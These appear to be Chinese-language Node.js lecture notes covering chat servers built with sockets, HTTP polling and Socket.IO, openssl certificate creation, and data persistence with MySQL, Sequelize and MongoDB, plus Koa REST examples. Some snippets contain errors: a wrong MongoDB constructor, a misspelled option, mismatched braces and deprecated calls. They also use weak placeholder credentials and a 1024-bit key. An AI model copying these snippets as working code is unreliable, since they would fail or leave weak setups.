  request(url, function(err, res, body) {
    const html = iconv.decode(body, 'gb2312')
    const $ = cheerio.load(html)
    console.log($('.title_all h1').text())
  })
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

# 实现⼀个即时通讯 IM

# Socket 实现

原理:Net 模块提供⼀个异步 API 能够创建基于流的 TCP 服务器,客户端与服务器建⽴连接后,服务器可以获得⼀个全双⼯ Socket 对象,服务器可以保存 Socket 对象列表,在接收某客户端消息时,推送给其他客户端。

// socket.js
const net = require('net')
const chatServer = net.createServer()
const clientList = []
chatServer.on('connection', (client) => {
  client.write('Hi!\n')
  clientList.push(client)
  client.on('data', (data) => {
    console.log('receive:', data.toString())
    clientList.forEach((v) => {
      v.write(data)
    })
  })
})
chatServer.listen(9000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

通过 Telnet 连接服务器

telnet localhost 9000
1

# Http 实现

原理:客户端通过 ajax ⽅式发送数据给 http 服务器,服务器缓存消息,其他客户端通过轮询⽅式查询最新数据并更新列表。

<html>
  <head>
    <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
    <script src="https://unpkg.com/axios/dist/axios.min.js"></script>
  </head>

  <body>
    <div id="app">
      <input v-model="message" />
      <button v-on:click="send">发送</button>
      <button v-on:click="clear">清空</button>
      <div v-for="item in list">{{item}}</div>
    </div>

    <script>
      const host = 'http://localhost:3000'
      var app = new Vue({
        el: '#app',
        data: {
          list: [],
          message: 'Hello Vue!'
        },
        methods: {
          send: async function() {
            let res = await axios.post(host + '/send', {
              message: this.message
            })
            this.list = res.data
          },
          clear: async function() {
            let res = await axios.post(host + '/clear')
            this.list = res.data
          }
        },
        mounted: function() {
          setInterval(async () => {
            const res = await axios.get(host + '/list')
            this.list = res.data
          }, 1000)
        }
      })
    </script>
  </body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
const express = require('express')
const app = express()
const bodyParser = require('body-parser')
const path = require('path')

app.use(bodyParser.json())

const list = ['ccc', 'ddd']

app.get('/', (req, res) => {
  res.sendFile(path.resolve('./index.html'))
})

app.get('/list', (req, res) => {
  res.end(JSON.stringify(list))
})

app.post('/send', (req, res) => {
  list.push(req.body.message)
  res.end(JSON.stringify(list))
})

app.post('/clear', (req, res) => {
  list.length = 0
  res.end(JSON.stringify(list))
})

app.listen(3000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

# Socket.IO 实现

安装: npm install --save socket.io

两部分:nodejs 模块,客户端 js

// 服务端:chat-socketio.js
var app = require('express')()
var http = require('http').Server(app)
var io = require('socket.io')(http)

app.get('/', function(req, res) {
  res.sendFile(\_\_\_\_\_\_dirname + '/index.html')
})

io.on('connection', function(socket) {
  console.log('a user connected')

  //响应某⽤户发送消息
  socket.on('chat message', function(msg) {
    console.log('chat message:' + msg)

    // ⼴播给所有⼈
    io.emit('chat message', msg)
    // ⼴播给除了发送者外所有⼈
    // socket.broadcast.emit('chat message', msg)
  })

  socket.on('disconnect', function() {
    console.log('user disconnected')
  })
})

http.listen(3000, function() {
  console.log('listening on *:3000')
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// 客户端:index.html

<!DOCTYPE html>
<html>
  <head>
    <title>Socket.IO chat</title>
    <style>
      * {
        margin: 0;
        padding: 0;
        box-sizing: border-box;
      }
      body {
        font: 13px Helvetica, Arial;
      }
      form {
        background: #000;
        padding: 3px;
        position: fixed;
        bottom: 0;
        width: 100%;
      }
      form input {
        border: 0;
        padding: 10px;
        width: 90%;
        margin-right: 0.5%;
      }
      form button {
        width: 9%;
        background: rgb(130, 224, 255);
        border: none;
        padding: 10px;
      }
      #messages {
        list-style-type: none;
        margin: 0;
        padding: 0;
      }
      #messages li {
        padding: 5px 10px;
      }
      #messages li:nth-child(odd) {
        background: #eee;
      }
    </style>
  </head>
  <body>
    <ul id="messages"></ul>
    <form action="">
      <input id="m" autocomplete="off" /><button>Send</button>
    </form>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/2.2.0/socket.io.js"></script>
    <script src="http://libs.baidu.com/jquery/2.1.1/jquery.min.js"></script>
    <script>
      $(function() {
        var socket = io()
        $('form').submit(function(e) {
          e.preventDefault() // 避免表单提交⾏为
          socket.emit('chat message', $('#m').val())
          $('#m').val('')
          return false
        })

        socket.on('chat message', function(msg) {
          $('#messages').append($('<li>').text(msg))
        })
      })
    </script>
  </body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

Socket.IO 库特点:

  • 源于 HTML5 标准

  • ⽀持优雅降级

    • WebSocket
    • WebSocket over FLash
    • XHR Polling
    • XHR Multipart Streaming
    • Forever Iframe
    • JSONP Polling

# Https

创建证书

# 创建私钥

openssl genrsa -out privatekey.pem 1024

# 创建证书签名请求

openssl req -new -key privatekey.pem -out certrequest.csr

# 获取证书,线上证书需要经过证书授证中⼼签名的⽂件;下⾯只创建⼀个学习使⽤证书

openssl x509 -req -in certrequest.csr -signkey privatekey.pem -out
certificate.pem

# 创建 pfx ⽂件

openssl pkcs12 -export -in certificate.pem -inkey privatekey.pem -out
certificate.pfx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

# Http2

  • 多路复⽤ - 雪碧图、多域名 CDN、接⼝合并

  • 官⽅演示 - https://http2.akamai.com/demo 多路复⽤允许同时通过单⼀的 HTTP/2 连接发起多重的请求-响应消息;⽽ HTTP/1.1 协议中,浏览器客户端在同⼀时间,针对同⼀域名下的请求有⼀定数量限制。超过限制数⽬的请求会被阻塞**

  • ⾸部压缩

    • http/1.x 的 header 由于 cookie 和 user agent 很容易膨胀,⽽且每次都要重复发送。
    • http/2 使⽤ encoder 来减少需要传输的 header ⼤⼩,通讯双⽅各⾃ cache ⼀份 header fields 表,既避免了重复 header 的传输,⼜减⼩了需要传输的⼤⼩。⾼效的压缩算法可以很⼤的压缩 header,减少发送包的数量从⽽降低延迟
  • 服务端推送

    • 在 HTTP/2 中,服务器可以对客户端的⼀个请求发送多个响应。举个例⼦,如果⼀个请求请求的是 index.html,服务器很可能会同时响应 index.html、logo.jpg 以及 css 和 js ⽂件,因为它知道客户端会⽤到这些东⻄。这相当于在⼀个 HTML ⽂档内集合了所有的资源

# 数据持久化 - MySQL

node.js 中实现持久化的多种方法

  • 文件系统 fs

  • 数据库

    • 关系型数据库-mysql
    • 文档型数据库-mongodb
    • 键值对数据库-redis

# 文件系统数据库

// fsdb.js
// 实现一个文件系统读写数据库
const fs = require('fs')

function get(key) {
  fs.readFile('./db.json', (err, data) => {
    const json = JSON.parse(data)
    console.log(json[key])
  })
}
function set(key, value) {
  fs.readFile('./db.json', (err, data) => {
    // 可能是空文件,则设置为空对象
    const json = data ? JSON.parse(data) : {}
    json[key] = value // 设置值
    // 重新写入文件
    fs.writeFile('./db.json', JSON.stringify(json), (err) => {
      if (err) {
        console.log(err)
      }
      console.log('写入成功!')
    })
  })
}

// 命令行接口部分
const readline = require('readline')
const rl = readline.createInterface({
  input: process.stdin,
  output: process.stdout
})

rl.on('line', function(input) {
  const [op, key, value] = input.split(' ')

  if (op === 'get') {
    get(key)
  } else if (op === 'set') {
    set(key, value)
  } else if (op === 'quit') {
    rl.close()
  } else {
    console.log('没有该操作')
  }
})

rl.on('close', function() {
  console.log('程序结束')
  process.exit(0)
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

# node 原生驱动 mysql

安装 MySQL 到电脑上,安装教程 (opens new window)

安装 mysql 模块: npm i mysql --save

mysql 模块基本使用

// mysql.js
const mysql = require('mysql')
// 连接配置
const cfg = {
  host: 'localhost',
  user: 'root',
  password: 'example', // 修改为你的密码
  database: 'pipipapa' // 请确保数据库存在
}
// 创建连接对象
const conn = mysql.createConnection(cfg)

// 连接
conn.connect((err) => {
  if (err) {
    throw err
  } else {
    console.log('连接成功!')
  }
})

// 查询 conn.query()
// 创建表
const CREATE_SQL = `CREATE TABLE IF NOT EXISTS test ( id INT NOT NULL AUTO_INCREMENT, message VARCHAR(45) NULL, PRIMARY KEY (id))`
const INSERT_SQL = `INSERT INTO test(message) VALUES(?)`
const SELECT_SQL = `SELECT * FROM test`
conn.query(CREATE_SQL, (err) => {
  if (err) {
    throw err
  }
  // 插入数据
  conn.query(INSERT_SQL, 'hello,world', (err, result) => {
    if (err) {
      throw err
    }
    console.log(result)
    conn.query(SELECT_SQL, (err, results) => {
      console.log(results)
      conn.end() // 若 query 语句有嵌套,则 end 需在此执行
    })
  })
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

ES2017 写法

// mysql2.js
;(async () => {
  // get the client
  const mysql = require('mysql2/promise')
  // 连接配置
  const cfg = {
    host: 'localhost',
    user: 'root',
    password: 'example', // 修改为你的密码
    database: 'pipipapa' // 请确保数据库存在
  }
  // create the connection
  const connection = await mysql.createConnection(cfg)

  // 查询 conn.query()
  // 创建表
  const CREATE_SQL = `CREATE TABLE IF NOT EXISTS test ( id INT NOT NULL AUTO_INCREMENT, message VARCHAR(45) NULL, PRIMARY KEY (id))`
  const INSERT_SQL = `INSERT INTO test(message) VALUES(?)`
  const SELECT_SQL = `SELECT * FROM test`

  // query database
  let ret = await connection.execute(CREATE_SQL)
  console.log('create:', ret)
  ret = await connection.execute(INSERT_SQL, ['abc'])
  console.log('insert:', ret)
  const [rows, fields] = await connection.execute(SELECT_SQL)
  console.log('select:', rows)
})()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

# node ORM - Sequelize (opens new window)

概述:基于 Promise 的 ORM(Object Relation Mapping),是一种数据库中间件 支持多种数据库、事务、关联等

中间件是介于应用系统和系统软件 (opens new window)之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。目前,它并没有很严格的定义,但是普遍接受 IDC 的定义:中间件是一种独立的系统软件服务程序,分布式应用软件借助这种软件在不同的技术之间共享资源,中间件位于客户机服务器的操作系统之上,管理计算资源和网络通信。从这个意义上可以用一个等式来表示中间件:中间件=平台+通信,这也就限定了只有用于分布式系统中才能叫中间件,同时也把它与支撑软件和实用软件区分开来。

安装: npm i sequelize mysql2 -S

# 基本使用

;(async () => {
  const Sequelize = require('sequelize')

  // 建立连接
  const sequelize = new Sequelize('pipipapa', 'root', 'example', {
    host: 'localhost',
    dialect: 'mysql',
    operatorsAliases: false // 仍可通过传入 operators map 至        operatorsAliases 的方式来使用字符串运算符,但会返回弃用警告
  })

  // 定义模型
  const Fruit = sequelize.define('Fruit', {
    name: { type: Sequelize.STRING(20), allowNull: false },
    price: { type: Sequelize.FLOAT, allowNull: false },
    stock: { type: Sequelize.INTEGER, defaultValue: 0 }
  })

  // 同步数据库,force: true 则会删除已存在表
  let ret = await Fruit.sync()
  console.log('sync', ret)
  ret = await Fruit.create({
    name: '香蕉',
    price: 3.5
  })
  console.log('create', ret)
  ret = await Fruit.findAll()

  await Fruit.update({ price: 4 }, { where: { name: '香蕉' } })

  console.log('findAll', JSON.stringify(ret))
  const Op = Sequelize.Op
  ret = await Fruit.findAll({
    // where: { price: { [Op.lt]:4 }, stock: { [Op.gte]: 100 } }
    where: { price: { [Op.lt]: 4, [Op.gt]: 2 } }
  })
  console.log('findAll', JSON.stringify(ret, '', '\t'))
})()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

# 强制同步:创建表之前先删除已存在的表

Fruit.sync({ force: true })
1

# 避免自动生成时间戳字段

const Fruit = sequelize.define(
  'Fruit',
  {},
  {
    timestamps: false
  }
)
1
2
3
4
5
6
7

指定表名: freezeTableName: truetableName:'xxx'

设置前者则以 modelName 作为表名;设置后者则按其值作为表名。

蛇形命名 underscored: true,

默认驼峰命名

UUID-主键

id: {
    type: Sequelize.DataTypes.UUID,
    defaultValue: Sequelize.DataTypes.UUIDV1,
    primaryKey: true
},
1
2
3
4
5

# Getters & Setters:可用于定义伪属性或映射到数据库字段的保护属性

// 定义为属性的一部分
name: {
    type: Sequelize.STRING,
        allowNull: false,
            get() {
            const fname = this.getDataValue("name");
            const price = this.getDataValue("price");
            const stock = this.getDataValue("stock");
            return `${fname}(价格:¥${price} 库存:${stock}kg)`;
        }
}

// 定义为模型选项
// options 中
{
    getterMethods:{
        amount(){
            return this.getDataValue("stock") + "kg";
        }
    },
        setterMethods:{
            amount(val){
                const idx = val.indexOf('kg');
                const v = val.slice(0, idx);
                this.setDataValue('stock', v);
            }
        }
}

// 通过模型实例触发 setterMethods
Fruit.findAll().then(fruits => {
    console.log(JSON.stringify(fruits));
    // 修改 amount,触发 setterMethods
    fruits[0].amount = '150kg';
    fruits[0].save();
});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

# 校验

可以通过校验 (opens new window)功能验证模型字段格式、内容,校验会在 create 、 update 和 save 时自动运行

price: {
    validate: {
        isFloat: { msg: "价格字段请输入数字" },
        min: { args: [0], msg: "价格字段必须大于 0" }
    }
},
stock: {
    validate: {
        isNumeric: { msg: "库存字段请输入数字" }
    }
}
1
2
3
4
5
6
7
8
9
10
11

# 模型扩展

可添加模型实例方法或类方法扩展模型

// 添加类级别方法
Fruit.classify = function(name) {
    const tropicFruits = ['香蕉', '芒果', '椰子']; // 热带水果
    return tropicFruits.includes(name) ? '热带水果':'其他水果';
};

// 添加实例级别方法
Fruit.prototype.totalPrice = function(count) {
    return (this.price \* count).toFixed(2);
};

// 使用类方法
['香蕉','草莓'].forEach(f => console.log(f+'是'+Fruit.classify(f)));

// 使用实例方法
Fruit.findAll().then(fruits => {
    const [f1] = fruits;
    console.log(`买5kg${f1.name}需要¥${f1.totalPrice(5)}`);
});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

# 数据查询

// 通过 id 查询(不支持了)
Fruit.findById(1).then(fruit => {
    // fruit 是一个 Fruit 实例,若没有则为 null
    console.log(fruit.get());
});

// 通过属性查询
Fruit.findOne({ where: { name: "香蕉" } }).then(fruit => {
    // fruit 是首个匹配项,若没有则为 null
    console.log(fruit.get());
});

// 指定查询字段
Fruit.findOne({ attributes: ['name'] }).then(fruit => {
    // fruit 是首个匹配项,若没有则为 null
    console.log(fruit.get());

});

// 获取数据和总条数
Fruit.findAndCountAll().then(result => {
    console.log(result.count);
    console.log(result.rows.length);
});

// 查询操作符
const Op = Sequelize.Op;
Fruit.findAll({
    // where: { price: { [Op.lt]:4 }, stock: { [Op.gte]: 100 } }
    where: { price: { [Op.lt]:4,[Op.gt]:2 }}
}).then(fruits => {
    console.log(fruits.length);
});

// 或语句
Fruit.findAll({
    // where: { [Op.or]:[{price: { [Op.lt]:4 }}, {stock: { [Op.gte]: 100 }}]
}
              where: { price: { [Op.or]:[{[Op.gt]:3 }, {[Op.lt]:2 }]}}
}).then(fruits => {
    console.log(fruits[0].get());
});

// 分页
Fruit.findAll({
    offset: 0,
    limit: 2,
})

// 排序
Fruit.findAll({
    order: [['price', 'DESC']],
})

// 聚合
Fruit.max("price").then(max => {
    console.log("max", max);
});
Fruit.sum("price").then(sum => {
    console.log("sum", sum);
});


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

# 更新

Fruit.findById(1).then((fruit) => {
  // 方式 1
  fruit.price = 4
  fruit.save().then(() => console.log('update!!!!'))
})
// 方式 2
Fruit.update({ price: 4 }, { where: { id: 1 } }).then((r) => {
  console.log(r)
  console.log('update!!!!')
})
1
2
3
4
5
6
7
8
9
10

# 删除

// 方式 1
Fruit.findOne({ where: { id: 1 } }).then((r) => r.destroy())

// 方式 2
Fruit.destroy({ where: { id: 1 } }).then((r) => console.log(r))
1
2
3
4
5

# 实体关系图和与域模型 ERD

image-20210923180642803

# 初始化数据库

// 初始化数据库
const sequelize = require('./util/database')
const Product = require('./models/product')
const User = require('./models/user')
const Cart = require('./models/cart')
const CartItem = require('./models/cart-item')
const Order = require('./models/order')
const OrderItem = require('./models/order-item')

Product.belongsTo(User, {
  constraints: true,
  onDelete: 'CASCADE'
})
User.hasMany(Product)
User.hasOne(Cart)
Cart.belongsTo(User)
Cart.belongsToMany(Product, {
  through: CartItem
})
Product.belongsToMany(Cart, {
  through: CartItem
})
Order.belongsTo(User)
User.hasMany(Order)
Order.belongsToMany(Product, {
  through: OrderItem
})
Product.belongsToMany(Order, {
  through: OrderItem
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

# 同步数据

// 同步数据
sequelize.sync().then(async (result) => {
  let user = await User.findByPk(1)
  if (!user) {
    user = await User.create({
      name: 'Sourav',
      email: 'sourav.dey9@gmail.com'
    })
    await user.createCart()
  }
  app.listen(3000, () => console.log('Listening to port 3000'))
})
1
2
3
4
5
6
7
8
9
10
11
12

# 中间件鉴权

app.use(async (ctx, next) => {
  const user = await User.findByPk(1)
  ctx.user = user
  await next()
})
1
2
3
4
5

# 功能实现

const router = require('koa-router')()
/**- 查询产品*/
router.get('/admin/products', async (ctx, next) => {
  // const products = await ctx.user.getProducts()
  const products = await Product.findAll()
  ctx.body = { prods: products }
})

/**- 创建产品*/
router.post('/admin/product', async (ctx) => {
  const body = ctx.request.body
  const res = await ctx.user.createProduct(body)
  ctx.body = { success: true }
})

/**- 删除产品*/
router.delete('/admin/product/:id', async (ctx, next) => {
  const id = ctx.params.id
  const res = await Product.destroy({
    where: {
      id
    }
  })
  ctx.body = { success: true }
})

/**- 查询购物车*/
router.get('/cart', async (ctx) => {
  const cart = await ctx.user.getCart()
  const products = await cart.getProducts()
  ctx.body = { products }
})

/**- 添加购物车*/
router.post('/cart', async (ctx) => {
  const { body } = ctx.request
  const prodId = body.id
  let newQty = 1
  const cart = await ctx.user.getCart()
  const products = await cart.getProducts({
    where: {
      id: prodId
    }
  })

  let product
  if (products.length > 0) {
    product = products[0]
  }
  if (product) {
    const oldQty = product.cartItem.quantity
    newQty = oldQty + 1
  } else {
    product = await Product.findByPk(prodId)
  }
  await cart.addProduct(product, {
    through: {
      quantity: newQty
    }
  })
  ctx.body = { success: true }
})

/** - 添加订单*/
router.post('/orders', async (ctx) => {
  const cart = await ctx.user.getCart()
  const products = await cart.getProducts()
  const order = await ctx.user.createOrder()
  const result = await order.addProduct(
    products.map((p) => {
      p.orderItem = {
        quantity: p.cartItem.quantity
      }
      return p
    })
  )
  await cart.setProducts(null)
  ctx.body = { success: true }
})

/**- 删除购物车*/
router.delete('/cartItem/:id', async (ctx) => {
  const id = ctx.params.id
  const cart = await ctx.user.getCart()
  const products = await cart.getProducts({
    where: { id }
  })
  const product = products[0]
  await product.cartItem.destroy()
  ctx.body = { success: true }
})

/** - 查询订单*/
router.get('/orders', async (ctx) => {
  const orders = await ctx.user.getOrders({
    include: ['products'],
    order: [['id', 'DESC']]
  })
  ctx.body = { orders }
})

app.use(router.routes())
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102

Restful 服务

实践指南 http://www.ruanyifeng.com/blog/2014/05/restful_api.html

原理 http://www.ruanyifeng.com/blog/2011/09/restful.html

TODO List 范例

https://github.com/BayliSade/TodoList

关于新版本的警告问题

https://segmentfault.com/a/1190000011583806

下载 mysql 依赖:npm i mysql –S

导⼊ mysql 模块 const mysql = require('mysql')

# 设置⽤户密码等连接数据库

const mysql = require('mysql')
const cfg = {
  host: 'localhost',
  user: 'wzp-admin',
  password: 'admin',
  database: 'study'
}
module.exports = {
  query: function(sql, value, callback) {
    const conn = mysql.createConnection(cfg)
    conn.connect() // 此步骤可省略
    conn.query(sql, value, callback)
    conn.end()
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# 关联

// 1:N 关系
const Player = sequelize.define('player', { name: Sequelize.STRING })
const Team = sequelize.define('team', { name: Sequelize.STRING })

// 会添加 teamId 到 Player 表作为外键
Player.belongsTo(Team) // 1 端建⽴关系
Team.hasMany(Player) // N 端建⽴关系

// 同步
sequelize.sync({ force: true }).then(async () => {
  await Team.create({ name: '⽕箭' })
  await Player.bulkCreate([
    { name: '哈登', teamId: 1 },
    { name: '保罗', teamId: 1 }
  ])

  // 1 端关联查询
  const players = await Player.findAll({ include: [Team] })
  console.log(JSON.stringify(players, null, 2))

  // N 端关联查询
  const team = await Team.findOne({
    where: { name: '⽕箭' },
    include: [Player]
  })
  console.log(JSON.stringify(team, null, 2))
})

// 多对多关系
const Fruit = sequelize.define('fruit', { name: Sequelize.STRING })
const Category = sequelize.define('category', { name: Sequelize.STRING })
Fruit.FruitCategory = Fruit.belongsToMany(Category, {
  through: 'FruitCategory'
})

// 插⼊测试数据
sequelize.sync({ force: true }).then(async () => {
  await Fruit.create(
    {
      name: '⾹蕉',
      categories: [
        { id: 1, name: '热带' },
        { id: 2, name: '温带' }
      ]
    },
    {
      include: [Fruit.FruitCategory]
    }
  )
  // 多对多联合查询
  const fruit = await Fruit.findOne({
    where: { name: '⾹蕉' }, // 通过 through 指定条件、字段等

    include: [{ model: Category, through: { attributes: ['id', 'name'] } }]
  })
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

# KeystoneJS

# 安装

npm install -g yo
npm install -g generator-keystone
yo keystone
1
2
3

# 运⾏

npm start
1

# 登⼊后台

#⽤户名
user@keystonejs.com
#密码
admin
1
2
3
4

# 增加⼀个实例

var keystone = require('keystone')
var Types = keystone.Field.Types

var Order = new keystone.List('Order')

Order.add({
  name: { type: Types.Text, required: true, index: true },
  date: { type: Types.Date },
  text: { type: Types.Text },
  markdown: { type: Types.Markdown },
  code: { type: Types.Code },
  color: { type: Types.Color }
})

Order.register()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# 源码

// keystone/admin/app/createDynamicRouter.js
1

# conf.js

module.exports = {
  db: {
    url: 'mongodb://localhost:27017/test',
    options: { useNewUrlParser: true }
  }
}
1
2
3
4
5
6

# model/user.js

通⽤路由 + 通⽤中间件

module.exports = {
  schema: {
    mobile: { type: String, required: true },
    realName: { type: String, required: true }
  }
}
1
2
3
4
5
6

# index.js

const Koa = require('koa')
const app = new Koa()

const port = 3000
app.listen(port, () => {
  console.log(`app started at port ${port}...`)
})
1
2
3
4
5
6
7

# framework/loader.js

const fs = require('fs')
const path = require('path')
const mongoose = require('mongoose')

function load(dir, cb) {
  // 获取绝对路径
  const url = path.resolve(\_\_\_\_\_\_dirname, dir)
  const files = fs.readdirSync(url)
  files.forEach((filename) => {
    // 去掉后缀名
    filename = filename.replace('.js', '')
    // 导⼊⽂件
    const file = require(url + '/' + filename)
    // 处理逻辑
    cb(filename, file)
  })
}

const loadModel = (config) => (app) => {
  mongoose.connect(config.db.url, config.db.options)
  const conn = mongoose.connection
  conn.on('error', () => console.error('连接数据库失败'))
  app.$model = {}
  load('../model', (filename, { schema }) => {
    console.log('load model: ' + filename, schema)
    app.$model[filename] = mongoose.model(filename, schema)
  })
}

module.exports = {
  loadModel
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

# 通过 loader 加载数据模型

// index.js
// 初始化数据库
const config = require('./conf')
const { loadModel } = require('./framework/loader.js')
loadModel(config)(app)
1
2
3
4
5

# framework/router.js

const router = require('koa-router')()
const { init, get, create, update, del, list } = require('./api')

router.get('/api/:list/:id', init, get)
router.get('/api/:list', init, list)
router.post('/api/:list', init, create)
router.put('/api/:list/:id', init, update)
router.delete('/api/:list/:id', init, del)

module.exports = router.routes()
1
2
3
4
5
6
7
8
9
10

# framework/api.js

module.exports = {
    async init(ctx, next) {
        console.log(ctx.params)
        const model = ctx.app.\$model[ctx.params.list]
        if (model) {
            ctx.list = model
            await next()
        } else {
            ctx.body = 'no this model'
        }
    },

    async list(ctx) {
        ctx.body = await ctx.list.find({})

    },
    async get(ctx) {
        ctx.body = await ctx.list.findOne({ \_id: ctx.params.id })

    },
    async create(ctx) {
        const res = await ctx.list.create(ctx.request.body)
        ctx.body = res
    },
    async update(ctx) {
        const res = await ctx.list.updateOne({ \_id: ctx.params.id },
                                             ctx.request.body)
        ctx.body = res
    },
    async del(ctx) {
        const res = await ctx.list.deleteOne({ \_id: ctx.params.id })
        ctx.body = res
    },
    async page(ctx) {
        console.log('page...', ctx.params.page)
        ctx.body = await ctx.list.find({})/\* \*/
    },
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

# 加载路由

const bodyParser = require('koa-bodyparser')
app.use(bodyParser())
app.use(require('koa-static')(\_\_\_\_\_\_dirname + '/'))
const restful = require('./framework/router')
app.use(restful)
1
2
3
4
5

# 持久化之 mongodb

mongodb 安装、配置

  • 下载安装 (opens new window)

  • 配置环境变量

  • 创建 dbpath ⽂件夹

  • 启动:

    mongo
    # 默认连接
    
    1
    2
  • 测试:

    // helloworld.js
    // 查询所有数 db 据库
    show dbs
    
    // 切换/创建数据库,当创建⼀个集合(table)的时候会⾃动创建当前数据库
    use test
    
    // 插⼊⼀条数据
    db.fruits.save({name:'苹果',price:5})
    
    // 条件查询
    db.fruits.find({price:5})
    `1234`
    
    // 得到当前 db 的所有聚集集合
    db.getCollectionNames()
    
    // 查询
    db.fruits.find()
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19

mongo 命令⾏操作 (opens new window)

菜⻦⽂档 (opens new window)

MongoDB 官⽹ (opens new window)

# mongodb 原⽣驱动

官⽹ API (opens new window)

操作符 (opens new window)

# 安装 mysql 模块

npm install mongodb --save

# 连接 mongodb

;(async () => {
  const { MongoClient } = require('mongodb')

  // 创建客户端
  const client = new MongoDB('mongodb://localhost:27017', {
    //userNewUrlParser 这个属性会在 url ⾥识别验证⽤户所需的 db
    userNewUrlParser: true
  })
  let ret
  // 创建连接
  ret = await client.connect()
  console.log('ret:', ret)

  const db = client.db('test')

  const fruits = db.collection('fruits')

  // 添加⽂档
  ret = await fruits.insertOne({
    name: '芒果',
    price: 20.1
  })
  console.log('插⼊成功', JSON.stringify(ret))

  // 查询⽂档

  ret = await fruits.findOne()
  console.log('查询⽂档:', ret)

  // 更新⽂档
  // 更新的操作符 $set
  ret = await fruits.updateOne({ name: '芒果' }, { $set: { name: '苹果' } })
  console.log('更新⽂档', JSON.stringify(ret.result))

  // 删除⽂档
  ret = await fruits.deleteOne({ name: '苹果' })

  await fruits.deleteMany()

  client.close()
})()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

# 案例:⽠果超市

# 提取数据库配置
// models/conf.js
module.exports = {
  url: 'mongodb://localhost:27017',
  dbName: 'test'
}
1
2
3
4
5
# 封装数据库连接
// models/db.js

const conf = require('./conf')
const EventEmitter = require('events').EventEmitter

// 客户端
const MongoClient = require('mongodb').MongoClient

class Mongodb {
  constructor(conf) {
    // 保存 conf
    this.conf = conf

    this.emmiter = new EventEmitter()
    // 连接
    this.client = new MongoClient(conf.url, { useNewUrlParser: true })
    this.client.connect((err) => {
      if (err) throw err
      console.log('连接成功')
      this.emmiter.emit('connect')
    })
  }

  col(colName, dbName = conf.dbName) {
    return this.client.db(dbName).collection(colName)
  }

  once(event, cb) {
    this.emmiter.once(event, cb)
  }
}

// 2.导出 db
module.exports = new Mongodb(conf)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# eventEmmiter
// eventEmmiter.js
const EventEmitter = require('events').EventEmitter
const event = new EventEmitter()
event.on('some_event', (num) => {
  console.log('some_event 事件触发:' + num)
})
let num = 0
setInterval(() => {
  event.emit('some_event', num++)
}, 1000)
1
2
3
4
5
6
7
8
9
10
# 添加测试数据
// initData.js
const mongodb = require('./models/db')
mongodb.once('connect', async () => {
  const col = mongodb.col('fruits')
  // 删除已存在
  await col.deleteMany()
  const data = new Array(100).fill().map((v, i) => {
    return {
      name: 'XXX' + i,
      price: i,
      category: Math.random() > 0.5 ? '蔬菜' : '⽔果'
    }
  })

  // 插⼊
  await col.insertMany(data)
  console.log('插⼊测试数据成功')
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
